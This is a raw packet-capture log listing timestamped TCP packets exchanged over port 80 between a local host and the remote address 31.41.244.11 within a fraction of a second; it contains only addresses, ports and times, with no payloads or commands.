Dec 18, 2024 09:07:18.684901953 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.685026884 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.685077906 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.686974049 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.687113047 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.687160015 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.688332081 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.688379049 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.688473940 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.689469099 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.689604998 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.689650059 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.689676046 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.689716101 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.690809965 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.690860987 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.690901041 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.690944910 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.692080021 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.692161083 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.692172050 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.692214966 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.693356037 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.693404913 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.693454981 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.693500042 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.694591999 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.694637060 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.694689035 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.694732904 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.695796013 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.696024895 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.696070910 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.697067976 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.697160006 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.697206974 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.698334932 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.698394060 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.698467970 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.699554920 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.699606895 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.699693918 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.700797081 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.700845957 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.700900078 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.700943947 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.702048063 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.702147961 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.702229023 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.703294039 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.703340054 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.703427076 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.704603910 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.704660892 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.704720020 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.705749989 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.705801010 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.705805063 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.705842972 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.707031965 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.707087040 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.707134962 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.708200932 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.708358049 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.708405018 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.709456921 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.709503889 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.709511042 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.710464001 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.710769892 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.710817099 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.710824966 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.710869074 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.711899042 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.711949110 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.712023973 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.712069988 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.713462114 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.713553905 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.713603973 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.714641094 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.714694977 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.714745045 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.715651035 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.715703011 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.715785027 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.716841936 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.716892004 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.716941118 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.718025923 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.718085051 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.718142033 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.718189001 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.719254971 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.719350100 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.719398975 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.720479012 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.720660925 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.720712900 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.721770048 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.721822023 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.721905947 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.722467899 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.722918034 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.722968102 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.723051071 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.723098040 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.724128962 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.724216938 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.724239111 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.724283934 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.725421906 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.725476980 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.725533962 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.726567030 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.726617098 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.726686954 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.727834940 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.727885962 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.727935076 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.727981091 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.729099035 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.729224920 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.729274988 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.730429888 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.730535030 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.730586052 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.732076883 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.732250929 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.732300997 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.733541012 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.733592987 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.733629942 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.734478951 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.734532118 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.734601021 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.734607935 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.734649897 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.735622883 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.735671043 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.735744953 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.735794067 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.736551046 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.736597061 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.736603975 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.736649990 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.737615108 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.737741947 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.737797976 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.738797903 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.738957882 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.739007950 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.740005016 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.740052938 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.740134954 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.741241932 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.741292953 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.741345882 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.742480993 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.742527962 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.742597103 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.742641926 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.743755102 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.743863106 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.743913889 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.744987965 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.745091915 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.745138884 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.746148109 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.746197939 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.746268034 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.746465921 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.747788906 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.747843981 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.747843027 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.747889996 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.748748064 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.748800993 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.748850107 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.749759912 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.752726078 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.838002920 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.838079929 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.838114977 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.838176012 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.838188887 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.838222980 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.838251114 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.838947058 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.838999987 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.839049101 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.839662075 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.839713097 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.839806080 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.839855909 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.840235949 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.840281963 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.840349913 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.840394020 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.840987921 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.841039896 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.841121912 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.841167927 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.841789961 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.841836929 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.841909885 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.841960907 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.842443943 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.842495918 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.842499018 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.842545986 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.843157053 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.843206882 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.843282938 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.843328953 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.843843937 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.843889952 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.843988895 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.844207048 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.844641924 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.844686985 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.844732046 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.844775915 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.845284939 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.845329046 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.845407963 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.845459938 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.845973969 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.846025944 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.846074104 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.846684933 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.846733093 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.846795082 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.846839905 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.847399950 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.847503901 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.847506046 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.847559929 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.848118067 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.848167896 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.848253965 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.848299980 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.848766088 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.848812103 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.848869085 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.848912001 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.849467039 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.849526882 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.849560976 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.849606037 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.850176096 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.850224972 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.850265980 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.850342035 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.850795031 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.850842953 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.850908995 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.850953102 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.851464987 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.851537943 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.851588964 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.852135897 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.852185011 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.852251053 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.852294922 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.852813005 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.852869034 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.852955103 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.853012085 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.853460073 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.853508949 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.853573084 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.853626013 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.854155064 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.854204893 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.854243040 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.854286909 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.854826927 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.854876995 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.854950905 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.854998112 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.855432987 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.855487108 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.855554104 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.855734110 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.856163979 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.856214046 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.856216908 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.856267929 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.856748104 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.856795073 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.856849909 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.856884956 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.856898069 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.856925011 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.857721090 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.857769012 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.857774973 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.857810974 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.857815027 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.857867002 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.858700991 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.858753920 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.858756065 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.858788967 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.858829021 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.859781981 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.859885931 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.859920025 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.859935045 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.859962940 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.860766888 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.860812902 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.860882998 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.860918045 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.860929012 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.860964060 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.862131119 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.862181902 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.862231016 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.862266064 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.862279892 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.862319946 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.863049030 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.863082886 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.863092899 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.863128901 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.863167048 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.863195896 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.863867998 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.863917112 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.863900900 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.863951921 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.863961935 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.863997936 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.864912033 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.864959002 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:18.864964962 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.864999056 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:18.865010023 CET	49714	80	192.168.2.8	31.41.244.11
